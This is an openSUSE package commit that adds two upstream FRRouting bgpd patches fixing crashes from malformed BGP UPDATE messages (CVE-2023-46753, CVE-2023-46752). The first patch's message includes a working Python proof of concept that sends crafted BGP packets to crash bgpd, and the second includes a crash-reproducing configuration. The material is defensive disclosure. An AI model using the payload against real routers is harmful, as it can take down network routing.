From 5c09118e23ff3bd54a84f8ad2e2e00f3ab19817a31de9229f4b2054c1be8506e Mon Sep 17 00:00:00 2001 From: Marcus Meissner Date: Tue, 31 Oct 2023 10:54:44 +0000 Subject: [PATCH] Accepting request 1121202 from home:mtomaschewski:frr - Apply upstream fix for a crash due to a crafted BGP UPDATE message (CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/commits/21418d64af11553c402f932b0311c812d98ac3e4). [+ 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch] - Apply upstream fix for a crash due to mishandled malformed MP_REACH_NLRI data (CVE-2023-46752,bsc#1216627,https://github.com/FRRouting/frr/pull/14645/commits/b08afc81c60607a4f736f418f2e3eb06087f1a35). [+ 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch] OBS-URL: https://build.opensuse.org/request/show/1121202 OBS-URL: https://build.opensuse.org/package/show/network/frr?expand=0&rev=55 --- ...tory-attributes-more-carefully-for-U.patch | 115 +++++++++++++++++ ...EACH_NLRI-malformed-packets-with-ses.patch | 121 ++++++++++++++++++ frr.changes | 10 ++ frr.spec | 4 + 4 files changed, 250 insertions(+) create mode 100644 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch create mode 100644 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch diff --git a/0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch b/0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch new file mode 100644 index 0000000..dc1a41c --- /dev/null +++ b/0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch @@ -0,0 +1,115 @@ +From 1fdbfffbe343ad63c32ff37998300b0b4f67d8fb Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Mon, 23 Oct 2023 23:34:10 +0300 +Subject: [PATCH] bgpd: Check mandatory attributes more carefully for UPDATE + message +Upstream: yes +References: CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/commits/21418d64af11553c402f932b0311c812d98ac3e4 + +If we send a crafted BGP UPDATE message without mandatory attributes, we do +not check if the length of the path attributes is zero or not. We only check +if attr->flag is at least set or not. Imagine we send only unknown transit +attribute, then attr->flag is always 0. Also, this is true only if graceful-restart +capability is received. + +A crash: + +``` +bgpd[7834]: [TJ23Y-GY0RH] 127.0.0.1 Unknown attribute is received (type 31, length 16) +bgpd[7834]: [PCFFM-WMARW] 127.0.0.1(donatas-pc) rcvd UPDATE wlen 0 attrlen 20 alen 17 +BGP[7834]: Received signal 11 at 1698089639 (si_addr 0x0, PC 0x55eefd375b4a); aborting... +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_backtrace_sigsafe+0x6d) [0x7f3205ca939d] +BGP[7834]: /usr/local/lib/libfrr.so.0(zlog_signal+0xf3) [0x7f3205ca9593] +BGP[7834]: /usr/local/lib/libfrr.so.0(+0xf5181) [0x7f3205cdd181] +BGP[7834]: /lib/x86_64-linux-gnu/libpthread.so.0(+0x12980) [0x7f3204ff3980] +BGP[7834]: /usr/lib/frr/bgpd(+0x18ab4a) [0x55eefd375b4a] +BGP[7834]: /usr/local/lib/libfrr.so.0(route_map_apply_ext+0x310) [0x7f3205cd1290] +BGP[7834]: /usr/lib/frr/bgpd(+0x163610) [0x55eefd34e610] +BGP[7834]: /usr/lib/frr/bgpd(bgp_update+0x9a5) [0x55eefd35c1d5] +BGP[7834]: /usr/lib/frr/bgpd(bgp_nlri_parse_ip+0xb7) [0x55eefd35e867] +BGP[7834]: /usr/lib/frr/bgpd(+0x1555e6) [0x55eefd3405e6] +BGP[7834]: /usr/lib/frr/bgpd(bgp_process_packet+0x747) [0x55eefd345597] +BGP[7834]: /usr/local/lib/libfrr.so.0(event_call+0x83) [0x7f3205cef4a3] +BGP[7834]: /usr/local/lib/libfrr.so.0(frr_run+0xc0) [0x7f3205ca10a0] +BGP[7834]: /usr/lib/frr/bgpd(main+0x409) [0x55eefd2dc979] +``` + +Sending: + +``` +import socket +import time + +OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" +b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" +b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" +b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" +b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" +b"\x80\x00\x00\x00") + +KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" +b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") + +UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff003c0200000014ff1f001000040146464646460004464646464646664646f50d05800100010200ffff000000") + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(('127.0.0.2', 179)) +s.send(OPEN) +data = s.recv(1024) +s.send(KEEPALIVE) +data = s.recv(1024) +s.send(UPDATE) +data = s.recv(1024) +time.sleep(1000) +s.close() +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +(cherry picked from commit d8482bf011cb2b173e85b65b4bf3d5061250cdb9) +Signed-off-by: Marius Tomaschewski + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index 188393b752..5c028c854c 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -3098,13 +3098,15 @@ bgp_attr_unknown(struct bgp_attr_parser_args *args) + } + + /* Well-known attribute check. */ +-static int bgp_attr_check(struct peer *peer, struct attr *attr) ++static int bgp_attr_check(struct peer *peer, struct attr *attr, ++ bgp_size_t length) + { + uint8_t type = 0; + + /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an + * empty UPDATE. */ +- if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) ++ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag && ++ !length) + return BGP_ATTR_PARSE_PROCEED; + + /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required +@@ -3156,7 +3158,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + enum bgp_attr_parse_ret ret; + uint8_t flag = 0; + uint8_t type = 0; +- bgp_size_t length; ++ bgp_size_t length = 0; + uint8_t *startp, *endp; + uint8_t *attr_endp; + uint8_t seen[BGP_ATTR_BITMAP_SIZE]; +@@ -3478,7 +3480,7 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + } + + /* Check all mandatory well-known attributes are present */ +- ret = bgp_attr_check(peer, attr); ++ ret = bgp_attr_check(peer, attr, length); + if (ret < 0) + goto done; + +-- +2.35.3 + diff --git a/0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch b/0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch new file mode 100644 index 0000000..83edea3 --- /dev/null +++ b/0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch @@ -0,0 +1,121 @@ +From f2bc4e6847b222ed8fbd460fbba9aa69d1bf8d0e Mon Sep 17 00:00:00 2001 +From: Donatas Abraitis +Date: Fri, 20 Oct 2023 17:49:18 +0300 +Subject: [PATCH] bgpd: Handle MP_REACH_NLRI malformed packets with session + reset +Upstream: yes +References: CVE-2023-46752,bsc#1216627,https://github.com/FRRouting/frr/pull/14645/commits/b08afc81c60607a4f736f418f2e3eb06087f1a35 + +Avoid crashing bgpd. + +``` +(gdb) +bgp_mp_reach_parse (args=, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341 +2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN); +(gdb) +stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320 +320 { +(gdb) +321 STREAM_VERIFY_SANE(s); +(gdb) +323 if (STREAM_READABLE(s) < size) { +(gdb) +34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest)); +(gdb) + +Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault. +0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050, + object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282 +2282 if (path->attr->aspath->refcnt) +(gdb) +``` + +With the configuration: + +``` + neighbor 127.0.0.1 remote-as external + neighbor 127.0.0.1 passive + neighbor 127.0.0.1 ebgp-multihop + neighbor 127.0.0.1 disable-connected-check + neighbor 127.0.0.1 update-source 127.0.0.2 + neighbor 127.0.0.1 timers 3 90 + neighbor 127.0.0.1 timers connect 1 + address-family ipv4 unicast + redistribute connected + neighbor 127.0.0.1 default-originate + neighbor 127.0.0.1 route-map RM_IN in + exit-address-family +! +route-map RM_IN permit 10 + set as-path prepend 200 +exit +``` + +Reported-by: Iggy Frankovic +Signed-off-by: Donatas Abraitis +(cherry picked from commit b08afc81c60607a4f736f418f2e3eb06087f1a35) +Signed-off-by: Marius Tomaschewski + +diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c +index 5c028c854c..42a2342f6f 100644 +--- a/bgpd/bgp_attr.c ++++ b/bgpd/bgp_attr.c +@@ -2224,7 +2224,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args, + + mp_update->afi = afi; + mp_update->safi = safi; +- return BGP_ATTR_PARSE_EOR; ++ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0); + } + + mp_update->afi = afi; +@@ -3405,10 +3405,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr, + goto done; + } + +- if (ret == BGP_ATTR_PARSE_EOR) { +- goto done; +- } +- + if (ret == BGP_ATTR_PARSE_ERROR) { + flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR, + "%s: Attribute %s, parse error", peer->host, +diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h +index 4963ea64d0..23767153b2 100644 +--- a/bgpd/bgp_attr.h ++++ b/bgpd/bgp_attr.h +@@ -382,7 +382,6 @@ enum bgp_attr_parse_ret { + /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR + */ + BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3, +- BGP_ATTR_PARSE_EOR = -4, + }; + + struct bpacket_attr_vec_arr; +diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c +index 1ef421028f..20c642190b 100644 +--- a/bgpd/bgp_packet.c ++++ b/bgpd/bgp_packet.c +@@ -2027,8 +2027,7 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size) + * Non-MP IPv4/Unicast EoR is a completely empty UPDATE + * and MP EoR should have only an empty MP_UNREACH + */ +- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) +- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) { ++ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) { + afi_t afi = 0; + safi_t safi; + struct graceful_restart_info *gr_info; +@@ -2049,9 +2048,6 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size) + && nlris[NLRI_MP_WITHDRAW].length == 0) { + afi = nlris[NLRI_MP_WITHDRAW].afi; + safi = nlris[NLRI_MP_WITHDRAW].safi; +- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) { +- afi = nlris[NLRI_MP_UPDATE].afi; +- safi = nlris[NLRI_MP_UPDATE].safi; + } + + if (afi && peer->afc[afi][safi]) { +-- +2.35.3 + diff --git a/frr.changes b/frr.changes index bb2210d..2621a46 100644 --- a/frr.changes +++ b/frr.changes @@ -1,3 +1,13 @@ +------------------------------------------------------------------- +Mon Oct 30 12:38:21 UTC 2023 - Marius Tomaschewski + +- Apply upstream fix for a crash due to a crafted BGP UPDATE message + (CVE-2023-46753,bsc#1216626,https://github.com/FRRouting/frr/pull/14655/commits/21418d64af11553c402f932b0311c812d98ac3e4). + [+ 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch] +- Apply upstream fix for a crash due to mishandled malformed + MP_REACH_NLRI data (CVE-2023-46752,bsc#1216627,https://github.com/FRRouting/frr/pull/14645/commits/b08afc81c60607a4f736f418f2e3eb06087f1a35). + [+ 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch] + ------------------------------------------------------------------- Tue Sep 12 13:40:19 UTC 2023 - Marius Tomaschewski diff --git a/frr.spec b/frr.spec index 823f9ca..d998893 100644 --- a/frr.spec +++ b/frr.spec @@ -51,6 +51,8 @@ Patch9: 0009-bgpd-Do-not-process-NLRIs-if-the-attribute-length-is.patch Patch10: 0010-bgpd-Use-treat-as-withdraw-for-tunnel-encapsulation-.patch Patch11: 0011-babeld-fix-11808-to-avoid-infinite-loops.patch Patch12: 0012-bgpd-Limit-flowspec-to-no-attribute-means-a-implicit.patch +Patch13: 0013-bgpd-Check-mandatory-attributes-more-carefully-for-U.patch +Patch14: 0014-bgpd-Handle-MP_REACH_NLRI-malformed-packets-with-ses.patch BuildRequires: autoconf BuildRequires: automake BuildRequires: bison >= 2.7 @@ -200,6 +202,8 @@ developing OSPF-API and frr applications. %patch10 -p1 %patch11 -p1 %patch12 -p1 +%patch13 -p1 +%patch14 -p1 %build # GCC LTO objects must be "fat" to avoid assembly errors